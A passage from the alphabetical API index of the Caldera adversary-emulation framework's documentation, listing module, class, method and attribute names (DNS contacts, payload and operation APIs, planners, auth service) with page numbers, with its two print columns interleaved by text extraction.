is_query() (app.contacts.contact_dns.DnsPacket LINK_IGNORED (app.objects.c_operation.Operation.Reason


method), 167 attribute), 190
is_request_authenticated() link_status() (app.objects.c_operation.Operation
(app.service.auth_svc.AuthService method), method), 191
205 LinkResultSchema (class in
is_response() (app.contacts.contact_dns.DnsPacket app.api.v2.schemas.link_result_schema),
method), 167 160
is_sensitive_prop() (in module LinkSchema (class in app.objects.secondclass.c_link),
app.api.v2.managers.config_api_manager), 178
155 LinkSchema.Meta (class in
is_uuid4() (app.utility.base_world.BaseWorld static app.objects.secondclass.c_link), 178
method), 222 list_exfil_files() (app.service.rest_svc.RestService
is_valid_status() (app.objects.secondclass.c_link.Link method), 217
method), 177 list_exfilled_files() (app.service.file_svc.FileSvc
method), 210
J list_payloads() (app.service.interfaces.i_rest_svc.RestServiceInterface
jitter() (app.utility.base_world.BaseWorld static method), 203
method), 222 list_payloads() (app.service.rest_svc.RestService
json_request_validation_middleware() (in mod- method), 217
ule app.api.v2.responses), 163 load() (app.objects.c_obfuscator.Obfuscator method),
JsonHttpBadRequest, 162 188
JsonHttpErrorResponse (class in load() (app.utility.base_object.BaseObject class
app.api.v2.responses), 162 method), 218
JsonHttpErrorSchema (class in load() (in module app.data_encoders.base64_basic),
app.api.v2.schemas.error_schemas), 160 173
JsonHttpErrorSchema.Meta (class in load() (in module app.data_encoders.plain_text), 173
app.api.v2.schemas.error_schemas), 160 load_ability_file()
JsonHttpForbidden, 162 (app.service.data_svc.DataService method),
JsonHttpNotFound, 162 207
load_adversary_file()
K (app.service.data_svc.DataService method),
kill() (app.objects.c_agent.Agent method), 187 208
KnowledgeService (class in load_data() (app.service.data_svc.DataService
app.service.knowledge_svc), 211 method), 208
KnowledgeServiceInterface (class in load_data() (app.service.interfaces.i_data_svc.DataServiceInterface
app.service.interfaces.i_knowledge_svc), method), 197
199 load_executors_from_list()
(app.service.data_svc.DataService method),
L 208
load_executors_from_platform_dict()
landing() (app.api.rest_api.RestApi method), 164
(app.service.data_svc.DataService method),
learn() (app.service.interfaces.i_learning_svc.LearningServiceInterface
208
method), 201
load_json() (app.utility.base_parser.BaseParser static
learn() (app.service.learning_svc.LearningService
method), 219
method), 213
load_module() (app.utility.base_world.BaseWorld
LEARNED (app.objects.secondclass.c_fact.OriginType at-
static method), 222
tribute), 176
load_objective_file()
LearningService (class in app.service.learning_svc),
(app.service.data_svc.DataService method),
213
208
LearningServiceInterface (class in
load_plugin() (app.objects.c_plugin.Plugin method),
app.service.interfaces.i_learning_svc), 201
193
line() (app.utility.base_parser.BaseParser static
load_plugin_expansions()
method), 219
(app.service.app_svc.AppService method),
Link (class in app.objects.secondclass.c_link), 177
204

244 Index
caldera

load_plugin_expansions() make_secure_config() (in module


(app.service.interfaces.i_app_svc.AppServiceInterface app.utility.config_generator), 222
method), 196 match() (app.utility.base_object.BaseObject method),
load_plugins() (app.service.app_svc.AppService 218
method), 204 MAX_GOAL_COUNT (app.objects.secondclass.c_goal.Goal
load_plugins() (app.service.interfaces.i_app_svc.AppServiceInterfaceattribute), 176
method), 196 MAX_SCORE (app.objects.secondclass.c_visibility.Visibility
load_requirements_from_list() attribute), 183
(app.service.data_svc.DataService method), max_ttl (app.contacts.contact_dns.DnsResponse at-
208 tribute), 168
load_schema (app.objects.c_agent.Agent attribute), 187 max_txt_size (app.contacts.contact_dns.DnsResponse
load_schema (app.objects.secondclass.c_fact.Fact at- attribute), 168
tribute), 175 MIN_SCORE (app.objects.secondclass.c_visibility.Visibility
load_schema (app.objects.secondclass.c_link.Link at- attribute), 183
tribute), 178 min_ttl (app.contacts.contact_dns.DnsResponse at-
load_schema (app.objects.secondclass.c_relationship.Relationship tribute), 168
attribute), 180 module
load_schema (app.utility.base_object.BaseObject app, 224
attribute), 218 app.api, 147
load_source_file() (app.service.data_svc.DataService app.api.packs, 147
method), 208 app.api.packs.advanced, 147
load_yaml_file() (app.service.data_svc.DataService app.api.packs.campaign, 147
method), 208 app.api.rest_api, 163
locate() (app.service.data_svc.DataService method), app.api.v2, 163
208 app.api.v2.errors, 162
locate() (app.service.interfaces.i_data_svc.DataServiceInterface
app.api.v2.handlers, 147
method), 197 app.api.v2.handlers.ability_api, 148
log (app.api.v2.handlers.base_api.BaseApi property), app.api.v2.handlers.adversary_api, 148
149 app.api.v2.handlers.agent_api, 148
log (app.api.v2.managers.base_api_manager.BaseApiManager app.api.v2.handlers.base_api, 149
property), 155 app.api.v2.handlers.base_object_api, 149
log_config_message() (in module app.api.v2.handlers.config_api, 150
app.utility.config_generator), 222 app.api.v2.handlers.contact_api, 150
LogicalPlanner (class in app.planners.atomic), 195 app.api.v2.handlers.fact_api, 150
login_redirect() (app.service.auth_svc.AuthService app.api.v2.handlers.fact_source_api, 151
method), 205 app.api.v2.handlers.health_api, 151
login_user() (app.service.auth_svc.AuthService app.api.v2.handlers.obfuscator_api, 151
method), 205 app.api.v2.handlers.objective_api, 151
login_user() (app.service.interfaces.i_auth_svc.AuthServiceInterface
app.api.v2.handlers.operation_api, 152
method), 196 app.api.v2.handlers.payload_api, 152
LoginHandlerInterface (class in app.api.v2.handlers.planner_api, 153
app.service.interfaces.i_login_handler), app.api.v2.handlers.plugins_api, 153
201 app.api.v2.handlers.schedule_api, 153
logout() (app.api.rest_api.RestApi method), 164 app.api.v2.managers, 154
logout_user() (app.service.auth_svc.AuthService app.api.v2.managers.ability_api_manager,
static method), 206 154
logout_user() (app.service.interfaces.i_auth_svc.AuthServiceInterface
app.api.v2.managers.adversary_api_manager,
static method), 196 154
app.api.v2.managers.agent_api_manager,
M 154
make_app() (in module app.api.v2), 163 app.api.v2.managers.base_api_manager, 154
make_dict() (app.api.v2.schemas.error_schemas.JsonHttpErrorSchema
app.api.v2.managers.config_api_manager,
class method), 160 155

Index 245
caldera

app.api.v2.managers.contact_api_manager, app.objects.c_schedule, 194


156 app.objects.c_source, 194
app.api.v2.managers.fact_api_manager, 156 app.objects.interfaces, 174
app.api.v2.managers.fact_source_manager, app.objects.interfaces.i_object, 174
156 app.objects.secondclass, 174
app.api.v2.managers.operation_api_manager, app.objects.secondclass.c_executor, 174
156 app.objects.secondclass.c_fact, 175
app.api.v2.managers.schedule_api_manager, app.objects.secondclass.c_goal, 176
157 app.objects.secondclass.c_instruction,
app.api.v2.responses, 162 177
app.api.v2.schemas, 157 app.objects.secondclass.c_link, 177
app.api.v2.schemas.base_schemas, 157 app.objects.secondclass.c_parser, 179
app.api.v2.schemas.caldera_info_schemas, app.objects.secondclass.c_parserconfig,
158 179
app.api.v2.schemas.config_schemas, 159 app.objects.secondclass.c_relationship,
app.api.v2.schemas.deploy_command_schemas, 180
159 app.objects.secondclass.c_requirement,
app.api.v2.schemas.error_schemas, 160 181
app.api.v2.schemas.link_result_schema, app.objects.secondclass.c_result, 182
160 app.objects.secondclass.c_rule, 182
app.api.v2.schemas.payload_schemas, 161 app.objects.secondclass.c_variation, 183
app.api.v2.security, 163 app.objects.secondclass.c_visibility, 183
app.api.v2.validation, 163 app.planners, 195
app.ascii_banner, 223 app.planners.atomic, 195
app.contacts, 164 app.service, 195
app.contacts.contact_dns, 167 app.service.app_svc, 204
app.contacts.contact_ftp, 169 app.service.auth_svc, 205
app.contacts.contact_gist, 170 app.service.contact_svc, 207
app.contacts.contact_html, 171 app.service.data_svc, 207
app.contacts.contact_http, 171 app.service.event_svc, 209
app.contacts.contact_slack, 171 app.service.file_svc, 209
app.contacts.contact_tcp, 172 app.service.interfaces, 195
app.contacts.contact_udp, 172 app.service.interfaces.i_app_svc, 195
app.contacts.contact_websocket, 172 app.service.interfaces.i_auth_svc, 196
app.contacts.handles, 164 app.service.interfaces.i_contact_svc, 197
app.contacts.handles.h_beacon, 164 app.service.interfaces.i_data_svc, 197
app.contacts.tunnels, 164 app.service.interfaces.i_event_svc, 198
app.contacts.tunnels.tunnel_ssh, 164 app.service.interfaces.i_file_svc, 198
app.data_encoders, 173 app.service.interfaces.i_knowledge_svc,
app.data_encoders.base64_basic, 173 199
app.data_encoders.plain_text, 173 app.service.interfaces.i_learning_svc,
app.learning, 173 201
app.learning.p_ip, 173 app.service.interfaces.i_login_handler,
app.learning.p_path, 173 201
app.objects, 174 app.service.interfaces.i_object_svc, 202
app.objects.c_ability, 184 app.service.interfaces.i_planning_svc,
app.objects.c_adversary, 185 202
app.objects.c_agent, 186 app.service.interfaces.i_rest_svc, 202
app.objects.c_data_encoder, 188 app.service.knowledge_svc, 211
app.objects.c_obfuscator, 188 app.service.learning_svc, 213
app.objects.c_objective, 189 app.service.login_handlers, 203
app.objects.c_operation, 189 app.service.login_handlers.default, 203
app.objects.c_planner, 192 app.service.planning_svc, 213
app.objects.c_plugin, 193 app.service.rest_svc, 216

246 Index
caldera

app.utility, 217 opcode_mask (app.contacts.contact_dns.DnsPacket at-


app.utility.base_knowledge_svc, 217 tribute), 167
app.utility.base_obfuscator, 218 opcode_offset (app.contacts.contact_dns.DnsPacket
app.utility.base_object, 218 attribute), 167
app.utility.base_parser, 219 Operation (class in app.objects.c_operation), 189
app.utility.base_planning_svc, 219 Operation.Reason (class in app.objects.c_operation),
app.utility.base_service, 221 190
app.utility.base_world, 221 Operation.States (class in app.objects.c_operation),
app.utility.config_generator, 222 190
app.utility.file_decryptor, 223 operation_loop() (app.contacts.contact_tcp.Contact
app.utility.payload_encoder, 223 method), 172
app.utility.rule_set, 223 OperationApi (class in
app.version, 224 app.api.v2.handlers.operation_api), 152
msg (app.service.app_svc.Error attribute), 205 OperationApiManager (class in
app.api.v2.managers.operation_api_manager),
N 156
name (app.objects.secondclass.c_fact.Fact property), 175 OperationOutputRequestSchema (class in
name (app.service.app_svc.Error attribute), 205 app.objects.c_operation), 191
OperationSchema (class in app.objects.c_operation),
name (app.service.interfaces.i_login_handler.LoginHandlerInterface
property), 201 192
no_color() (in module app.ascii_banner), 223 OperationSchema.Meta (class in
notify_global_event_listeners() app.objects.c_operation), 192
(app.service.event_svc.EventService method), OperationSchemaAlt (class in
209 app.objects.c_operation), 192
NS (app.contacts.contact_dns.DnsRecordType attribute), optional (app.service.app_svc.Error attribute), 205
168 opts (app.api.v2.schemas.base_schemas.BaseGetAllQuerySchema
NXDOMAIN (app.contacts.contact_dns.DnsResponseCodes attribute), 158
attribute), 168 opts (app.api.v2.schemas.base_schemas.BaseGetOneQuerySchema
attribute), 158
O opts (app.api.v2.schemas.caldera_info_schemas.CalderaInfoSchema
obfuscate_commands() attribute), 158
opts
(app.utility.base_planning_svc.BasePlanningService (app.api.v2.schemas.config_schemas.AgentConfigUpdateSchema
method), 220 attribute), 159
Obfuscator (class in app.objects.c_obfuscator), 188 opts (app.api.v2.schemas.config_schemas.ConfigUpdateSchema
ObfuscatorApi (class in attribute), 159
app.api.v2.handlers.obfuscator_api), 151 opts (app.api.v2.schemas.deploy_command_schemas.DeployCommandsSch
ObfuscatorSchema (class in app.objects.c_obfuscator), attribute), 159
188 opts (app.api.v2.schemas.error_schemas.JsonHttpErrorSchema
Objective (class in app.objects.c_objective), 189 attribute), 160
ObjectiveApi (class in opts (app.api.v2.schemas.link_result_schema.LinkResultSchema
app.api.v2.handlers.objective_api), 151 attribute), 160
ObjectiveSchema (class in app.objects.c_objective), opts (app.api.v2.schemas.payload_schemas.PayloadCreateRequestSchema
189 attribute), 161
ObjectiveSchema.Meta (class in opts (app.api.v2.schemas.payload_schemas.PayloadDeleteRequestSchema
app.objects.c_objective), 189 attribute), 161
ObjectServiceInterface (class in opts (app.api.v2.schemas.payload_schemas.PayloadQuerySchema
app.service.interfaces.i_object_svc), 202 attribute), 161
observe_event() (app.service.event_svc.EventService opts (app.api.v2.schemas.payload_schemas.PayloadSchema
method), 209 attribute), 162
opts (app.objects.c_ability.AbilitySchema
observe_event() (app.service.interfaces.i_event_svc.EventServiceInterface attribute), 185
method), 198 opts (app.objects.c_adversary.AdversarySchema at-
offset (app.objects.c_source.Adjustment attribute), 194 tribute), 186
OP_RUNNING (app.objects.c_operation.Operation.Reason opts (app.objects.c_agent.AgentFieldsSchema attribute),
attribute), 190 187

Index 247
caldera

opts (app.objects.c_agent.AgentSchema attribute), 187 221


opts (app.objects.c_data_encoder.DataEncoderSchema opts (app.utility.base_world.PrivilegesSchema at-
attribute), 188 tribute), 222
opts (app.objects.c_obfuscator.ObfuscatorSchema ordered (app.api.v2.schemas.caldera_info_schemas.CalderaInfoSchema.M
attribute), 188 attribute), 158
opts (app.objects.c_objective.ObjectiveSchema at- ordered (app.api.v2.schemas.error_schemas.JsonHttpErrorSchema.Meta
tribute), 189 attribute), 160
opts (app.objects.c_operation.HostSchema attribute), OriginType (class in app.objects.secondclass.c_fact),
189 176
opts (app.objects.c_operation.OperationOutputRequestSchema OTHER (app.objects.c_operation.Operation.Reason
attribute), 191 attribute), 190
opts (app.objects.c_operation.OperationSchema at- OUT_OF_TIME (app.objects.c_operation.Operation.States
tribute), 192 attribute), 190
opts (app.objects.c_operation.OperationSchemaAlt at-
tribute), 192 P
opts (app.objects.c_planner.PlannerSchema attribute), parse() (app.learning.p_ip.Parser method), 173
193 parse() (app.learning.p_path.Parser method), 173
opts (app.objects.c_plugin.PluginSchema attribute), 193 parse() (app.objects.secondclass.c_link.Link method),
opts (app.objects.c_schedule.ScheduleSchema attribute), 178
194 parse_json_body() (app.api.v2.handlers.base_api.BaseApi
opts (app.objects.c_source.AdjustmentSchema at- static method), 149
tribute), 195 parse_operator() (app.objects.secondclass.c_goal.Goal
opts (app.objects.c_source.SourceSchema attribute), 195 static method), 176
opts (app.objects.secondclass.c_executor.ExecutorSchema Parser (class in app.learning.p_ip), 173
attribute), 175 Parser (class in app.learning.p_path), 173
opts (app.objects.secondclass.c_fact.FactSchema at- Parser (class in app.objects.secondclass.c_parser), 179
tribute), 175 ParserConfig (class in
opts (app.objects.secondclass.c_fact.FactUpdateRequestSchema app.objects.secondclass.c_parserconfig),
attribute), 176 179
opts (app.objects.secondclass.c_goal.GoalSchema at- ParserConfigSchema (class in
tribute), 176 app.objects.secondclass.c_parserconfig),
opts (app.objects.secondclass.c_instruction.InstructionSchema 179
attribute), 177 ParserConfigSchema.Meta (class in
opts (app.objects.secondclass.c_link.LinkSchema app.objects.secondclass.c_parserconfig),
attribute), 178 179
opts (app.objects.secondclass.c_parser.ParserSchema ParserSchema (class in
attribute), 179 app.objects.secondclass.c_parser), 179
opts (app.objects.secondclass.c_parserconfig.ParserConfigSchema
pass_option_middleware() (in module
attribute), 180 app.api.v2.security), 163
opts (app.objects.secondclass.c_relationship.RelationshipSchema
password (app.service.auth_svc.AuthService.User
attribute), 180 attribute), 205
opts (app.objects.secondclass.c_relationship.RelationshipUpdateSchema
password_auth_supported()
attribute), 181 (app.contacts.tunnels.tunnel_ssh.SSHServerTunnel
opts (app.objects.secondclass.c_requirement.RequirementSchema method), 166
attribute), 181 PAUSED (app.objects.c_operation.Operation.States
opts (app.objects.secondclass.c_result.ResultSchema at- attribute), 190
tribute), 182 PayloadApi (class in app.api.v2.handlers.payload_api),
opts (app.objects.secondclass.c_rule.RuleSchema 152
attribute), 182 PayloadCreateRequestSchema (class in
opts (app.objects.secondclass.c_variation.VariationSchema app.api.v2.schemas.payload_schemas), 161
attribute), 183 PayloadDataDownload
opts (app.objects.secondclass.c_visibility.VisibilitySchema (app.contacts.contact_dns.Handler.MessageType
attribute), 184 attribute), 169
opts (app.utility.base_world.AccessSchema attribute),

248 Index
caldera

PayloadDeleteRequestSchema (class in post_payloads() (app.api.v2.handlers.payload_api.PayloadApi


app.api.v2.schemas.payload_schemas), 161 method), 152
PayloadFilenameDownload prepare_dump() (app.objects.secondclass.c_link.LinkSchema
(app.contacts.contact_dns.Handler.MessageType method), 178
attribute), 169 prepare_dump() (app.objects.secondclass.c_result.ResultSchema
PayloadQuerySchema (class in method), 182
app.api.v2.schemas.payload_schemas), 161 prepare_parser() (app.objects.secondclass.c_parser.ParserSchema
PayloadRequest (app.contacts.contact_dns.Handler.MessageType method), 179
attribute), 169 prepend_to_file() (app.utility.base_world.BaseWorld
PayloadSchema (class in static method), 222
app.api.v2.schemas.payload_schemas), 162 print_rich_banner() (in module app.ascii_banner),
percentage (app.objects.c_objective.Objective prop- 223
erty), 189 PRIVILEGE (app.objects.c_operation.Operation.Reason
permissions (app.service.auth_svc.AuthService.User attribute), 190
attribute), 205 privileged_to_run() (app.objects.c_agent.Agent
permits() (app.service.auth_svc.DictionaryAuthorizationPolicy method), 187
method), 206 PrivilegesSchema (class in app.utility.base_world),
persist_ability() (app.service.interfaces.i_rest_svc.RestServiceInterface
222
method), 203
persist_ability() (app.service.rest_svc.RestService Q
method), 217 query_response_flag
persist_adversary() (app.contacts.contact_dns.DnsPacket at-
(app.service.interfaces.i_rest_svc.RestServiceInterface tribute), 167
method), 203
persist_adversary() R
(app.service.rest_svc.RestService method), ran_ability_id() (app.objects.c_operation.Operation
217 method), 191
persist_objective() raw_command (app.objects.secondclass.c_link.Link
(app.service.rest_svc.RestService method), property), 178
217 raw_command (app.objects.secondclass.c_variation.Variation
persist_source() (app.service.interfaces.i_rest_svc.RestServiceInterface
property), 183
method), 203 re_base64 (app.utility.base_world.BaseWorld attribute),
persist_source() (app.service.rest_svc.RestService 222
method), 217 re_index (app.utility.base_planning_svc.BasePlanningService
phase_to_atomic_ordering() attribute), 220
(app.objects.c_adversary.AdversarySchema re_limited (app.utility.base_planning_svc.BasePlanningService
method), 186 attribute), 220
pin (app.objects.secondclass.c_link.Link property), 178 re_trait (app.utility.base_planning_svc.BasePlanningService
PlainTextEncoder (class in attribute), 220
app.data_encoders.plain_text), 173 re_variable (app.utility.base_planning_svc.BasePlanningService
Planner (class in app.objects.c_planner), 192 attribute), 220
PlannerApi (class in app.api.v2.handlers.planner_api), read() (in module app.utility.file_decryptor), 223
153 read_data() (app.contacts.contact_dns.Handler.StoredResponse
PlannerSchema (class in app.objects.c_planner), 193 method), 169
PlanningService (class in app.service.planning_svc), read_file() (app.service.file_svc.FileSvc method), 210
213 read_file() (app.service.interfaces.i_file_svc.FileServiceInterface
PlanningServiceInterface (class in method), 198
app.service.interfaces.i_planning_svc), 202 read_result_file() (app.service.file_svc.FileSvc
PLATFORM (app.objects.c_operation.Operation.Reason method), 210
attribute), 190 read_result_file() (app.service.interfaces.i_file_svc.FileServiceInterfa
Plugin (class in app.objects.c_plugin), 193 method), 198
PluginApi (class in app.api.v2.handlers.plugins_api), recursion_available()
153 (app.contacts.contact_dns.DnsPacket method),
PluginSchema (class in app.objects.c_plugin), 193 167

Index 249
caldera

recursion_available_flag remove_completed_links()
(app.contacts.contact_dns.DnsPacket at- (app.utility.base_planning_svc.BasePlanningService
tribute), 167 static method), 220
recursion_desired() remove_links_above_visibility()
(app.contacts.contact_dns.DnsPacket method), (app.utility.base_planning_svc.BasePlanningService
167 static method), 220
recursion_desired_flag remove_links_with_unset_variables()
(app.contacts.contact_dns.DnsPacket at- (app.utility.base_planning_svc.BasePlanningService
tribute), 167 static method), 220
RED (app.utility.base_world.BaseWorld.Access attribute), remove_nones() (app.objects.secondclass.c_parserconfig.ParserConfigSch
221 method), 180
refresh() (app.contacts.contact_tcp.TcpSessionHandler remove_nulls() (app.objects.c_agent.AgentFieldsSchema
method), 172 method), 187
register_contact() (app.service.contact_svc.ContactServiceremove_object_from_disk_by_id()
method), 207 (app.api.v2.managers.ability_api_manager.AbilityApiManager
register_contact() (app.service.interfaces.i_contact_svc.ContactServiceInterface
method), 154
method), 197 remove_object_from_disk_by_id()
register_contact_tunnels() (app.api.v2.managers.base_api_manager.BaseApiManager
(app.service.app_svc.AppService method), method), 155
204 remove_object_from_memory_by_id()
register_contacts() (app.api.v2.managers.base_api_manager.BaseApiManager
(app.service.app_svc.AppService method), method), 155
204 remove_properties()
register_contacts() (app.objects.c_adversary.AdversarySchema
(app.service.interfaces.i_app_svc.AppServiceInterface method), 186
method), 196 remove_properties()
register_global_event_listener() (app.objects.c_agent.AgentFieldsSchema
(app.service.event_svc.EventService method), method), 187
209 remove_properties()
register_subapp() (app.service.app_svc.AppService (app.objects.c_objective.ObjectiveSchema
method), 204 method), 189
register_tunnel() (app.service.contact_svc.ContactService remove_properties()
method), 207 (app.objects.c_operation.OperationSchema
register_tunnel() (app.service.interfaces.i_contact_svc.ContactServiceInterface
method), 192
method), 197 remove_properties()
Relationship (class in (app.objects.secondclass.c_goal.GoalSchema
app.objects.secondclass.c_relationship), method), 176
180 remove_properties()
RelationshipSchema (class in (app.objects.secondclass.c_link.LinkSchema
app.objects.secondclass.c_relationship), method), 178
180 remove_service() (app.utility.base_service.BaseService
RelationshipUpdateSchema (class in class method), 221
app.objects.secondclass.c_relationship), remove_unique() (app.objects.secondclass.c_relationship.RelationshipSch
180 method), 180
reload_data() (app.service.data_svc.DataService remove_xored_extension()
method), 208 (app.service.file_svc.FileSvc static method),
reload_data() (app.service.interfaces.i_data_svc.DataServiceInterface
210
method), 197 replace() (app.objects.c_agent.Agent method), 187
remove() (app.service.data_svc.DataService method), replace_app_props()
208 (app.utility.base_object.BaseObject method),
remove() (app.service.interfaces.i_data_svc.DataServiceInterface 218
method), 197 replace_cleanup() (app.objects.secondclass.c_executor.Executor
remove_all_executors() method), 174
(app.objects.c_ability.Ability method), 184 replace_object() (app.api.v2.managers.base_api_manager.BaseApiMan

250 Index
caldera

method), 155 resume_operations()


replace_on_disk_object() (app.service.interfaces.i_app_svc.AppServiceInterface
(app.api.v2.managers.ability_api_manager.AbilityApiManagermethod), 196
method), 154 retrieve() (app.utility.base_object.BaseObject static
replace_on_disk_object() method), 218
(app.api.v2.managers.base_api_manager.BaseApiManager
retrieve_compiled_file()
method), 155 (app.service.app_svc.AppService method),
replace_origin_link_id() 204
(app.objects.secondclass.c_link.Link method), retrieve_compiled_file()
178 (app.service.interfaces.i_app_svc.AppServiceInterface
report() (app.objects.c_operation.Operation method), method), 196
191 retrieve_config() (app.contacts.contact_gist.Contact
report() (in module app.service.contact_svc), 207 method), 170
request_has_valid_api_key() retrieve_config() (app.contacts.contact_slack.Contact
(app.service.auth_svc.AuthService method), method), 171
206 Rule (class in app.objects.secondclass.c_rule), 182
request_has_valid_user_session() RuleAction (class in app.utility.rule_set), 223
(app.service.auth_svc.AuthService method), RuleSchema (class in app.objects.secondclass.c_rule),
206 182
RequestBodyParseError, 162 RuleSet (class in app.utility.rule_set), 223
RequestUnparsableJsonError, 162 run() (app.contacts.handles.h_beacon.Handle static
RequestValidationError, 162 method), 164
Requirement (class in run() (app.objects.c_operation.Operation method), 191
app.objects.secondclass.c_requirement), run() (app.utility.base_obfuscator.BaseObfuscator
181 method), 218
RequirementSchema (class in RUN_ONE_LINK (app.objects.c_operation.Operation.States
app.objects.secondclass.c_requirement), attribute), 190
181 run_scheduler() (app.service.app_svc.AppService
RESERVED (app.objects.c_agent.Agent attribute), 186 method), 204
RESERVED (app.objects.secondclass.c_executor.Executor run_scheduler() (app.service.interfaces.i_app_svc.AppServiceInterface
attribute), 174 method), 196
RESERVED (app.objects.secondclass.c_link.Link at- RUNNING (app.objects.c_operation.Operation.States at-
tribute), 177 tribute), 190
response_code_mask (app.contacts.contact_dns.DnsPacket
attribute), 167 S
rest_core() (app.api.rest_api.RestApi method), 164 satisfied() (app.objects.secondclass.c_goal.Goal
rest_core_info() (app.api.rest_api.RestApi method), method), 176
164 save_fact() (app.objects.secondclass.c_link.Link
RestApi (class in app.api.rest_api), 163 method), 178
restore_state() (app.service.data_svc.DataService save_file() (app.service.file_svc.FileSvc method), 210
method), 208 save_file() (app.service.interfaces.i_file_svc.FileServiceInterface
restore_state() (app.service.interfaces.i_object_svc.ObjectServiceInterface
method), 199
method), 202 save_multipart_file_upload()
restore_state() (app.service.knowledge_svc.KnowledgeService (app.service.file_svc.FileSvc method), 210
method), 212 save_multipart_file_upload()
RestService (class in app.service.rest_svc), 216 (app.service.interfaces.i_file_svc.FileServiceInterface
RestServiceInterface (class in method), 199
app.service.interfaces.i_rest_svc), 202 save_state() (app.service.data_svc.DataService
Result (class in app.objects.secondclass.c_result), 182 method), 208
ResultSchema (class in save_state() (app.service.interfaces.i_object_svc.ObjectServiceInterface
app.objects.secondclass.c_result), 182 method), 202
resume_operations() save_state() (app.service.knowledge_svc.KnowledgeService
(app.service.app_svc.AppService method), method), 212
204 Schedule (class in app.objects.c_schedule), 194

Index 251
caldera

ScheduleApi (class in 208


app.api.v2.handlers.schedule_api), 153 search_operation_for_link()
ScheduleApiManager (class in (app.api.v2.managers.operation_api_manager.OperationApiMana
app.api.v2.managers.schedule_api_manager), method), 157
157 search_tags() (app.utility.base_object.BaseObject
ScheduleSchema (class in app.objects.c_schedule), 194 method), 218
ScheduleSchema.Meta (class in SEEDED (app.objects.secondclass.c_fact.OriginType at-
app.objects.c_schedule), 194 tribute), 176
schema (app.objects.c_ability.Ability attribute), 184 send() (app.contacts.contact_tcp.TcpSessionHandler
schema (app.objects.c_adversary.Adversary attribute), method), 172
185 serialize() (app.api.v2.schemas.error_schemas.JsonHttpErrorSchema
schema (app.objects.c_agent.Agent attribute), 187 class method), 160
schema (app.objects.c_data_encoder.DataEncoder at- server_factory() (app.contacts.tunnels.tunnel_ssh.Tunnel
tribute), 188 method), 166
schema (app.objects.c_obfuscator.Obfuscator attribute), set_config() (app.utility.base_world.BaseWorld static
188 method), 222
schema (app.objects.c_objective.Objective attribute), 189 set_login_handlers()
schema (app.objects.c_operation.Operation attribute), (app.service.auth_svc.AuthService method),
191 206
schema (app.objects.c_planner.Planner attribute), 192 set_pending_executor_path_update()
schema (app.objects.c_plugin.Plugin attribute), 193 (app.objects.c_agent.Agent method), 187
schema (app.objects.c_schedule.Schedule attribute), 194 set_pending_executor_removal()
schema (app.objects.c_source.Source attribute), 195 (app.objects.c_agent.Agent method), 187
schema (app.objects.secondclass.c_executor.Executor at- set_start_details()
tribute), 174 (app.objects.c_operation.Operation method),
schema (app.objects.secondclass.c_fact.Fact attribute), 191
175 set_up_server() (app.contacts.contact_ftp.Contact
schema (app.objects.secondclass.c_goal.Goal attribute), method), 169
176 set_value() (app.utility.base_parser.BaseParser static
schema (app.objects.secondclass.c_instruction.Instruction method), 219
attribute), 177 setup_ftp_users() (app.contacts.contact_ftp.Contact
schema (app.objects.secondclass.c_link.Link attribute), method), 169
178 setup_operation() (app.api.v2.managers.operation_api_manager.Opera
schema (app.objects.secondclass.c_parser.Parser at- method), 157
tribute), 179 shorthand (app.objects.secondclass.c_relationship.Relationship
schema (app.objects.secondclass.c_parserconfig.ParserConfig property), 180
attribute), 179 slack_operation_loop()
schema (app.objects.secondclass.c_relationship.Relationship (app.contacts.contact_slack.Contact method),
attribute), 180 171
schema (app.objects.secondclass.c_requirement.Requirement sort_links() (app.service.interfaces.i_planning_svc.PlanningServiceInte
attribute), 181 static method), 202
schema (app.objects.secondclass.c_result.Result at- sort_links() (app.service.planning_svc.PlanningService
tribute), 182 static method), 215
schema (app.objects.secondclass.c_rule.Rule attribute), source (app.objects.c_operation.OperationSchemaAlt
182 property), 192
schema (app.objects.secondclass.c_variation.Variation Source (class in app.objects.c_source), 195
attribute), 183 SourceSchema (class in app.objects.c_source), 195
schema (app.objects.secondclass.c_visibility.Visibility SSHServerTunnel (class in
attribute), 183 app.contacts.tunnels.tunnel_ssh), 164
schema (app.utility.base_object.BaseObject attribute), standard_pointer (app.contacts.contact_dns.DnsResponse
218 attribute), 168
score (app.objects.secondclass.c_visibility.Visibility start() (app.contacts.contact_dns.Contact method),
property), 183 167
search() (app.service.data_svc.DataService method), start() (app.contacts.contact_ftp.Contact method), 169

252 Index
caldera

start() (app.contacts.contact_gist.Contact method), store() (app.service.data_svc.DataService method),


170 208
start() (app.contacts.contact_html.Contact method), store() (app.service.interfaces.i_data_svc.DataServiceInterface
171 method), 198
start() (app.contacts.contact_http.Contact method), strip_yml() (app.utility.base_world.BaseWorld static
171 method), 222
start() (app.contacts.contact_slack.Contact method), submit_uploaded_file()
171 (app.contacts.contact_ftp.FtpHandler method),
start() (app.contacts.contact_tcp.Contact method), 170
172 SUCCESS (app.contacts.contact_dns.DnsResponseCodes
start() (app.contacts.contact_udp.Contact method), attribute), 168
172
start() (app.contacts.contact_websocket.Contact T
method), 172 task() (app.objects.c_agent.Agent method), 187
start() (app.contacts.tunnels.tunnel_ssh.Tunnel task_agent_with_ability()
method), 166 (app.service.interfaces.i_rest_svc.RestServiceInterface
start_sniffer_untrusted_agents() method), 203
(app.service.app_svc.AppService method), task_agent_with_ability()
204 (app.service.rest_svc.RestService method),
start_sniffer_untrusted_agents() 217
(app.service.interfaces.i_app_svc.AppServiceInterface
TcpSessionHandler (class in
method), 196 app.contacts.contact_tcp), 172
state (app.objects.c_operation.Operation property), 191 teardown() (app.service.app_svc.AppService method),
states (app.objects.c_operation.Operation property), 204
191 teardown() (app.service.interfaces.i_app_svc.AppServiceInterface
states (app.objects.secondclass.c_link.Link property), method), 196
178 test (app.objects.secondclass.c_executor.Executor prop-
status (app.objects.secondclass.c_link.Link property), erty), 174
178 TIME_FORMAT (app.utility.base_world.BaseWorld at-
stop() (app.contacts.contact_dns.Contact method), 167 tribute), 221
stop() (app.contacts.contact_ftp.Contact method), 169 trait (app.objects.c_source.Adjustment attribute), 194
stop() (app.contacts.contact_udp.Contact method), 172 trait (app.objects.secondclass.c_fact.Fact property),
stop() (app.contacts.contact_websocket.Contact 175
method), 172 trim_links() (app.utility.base_planning_svc.BasePlanningService
stor() (app.contacts.contact_ftp.FtpHandler method), method), 220
170 truncated() (app.contacts.contact_dns.DnsPacket
store() (app.objects.c_ability.Ability method), 184 method), 167
store() (app.objects.c_adversary.Adversary method), truncated_flag (app.contacts.contact_dns.DnsPacket
185 attribute), 167
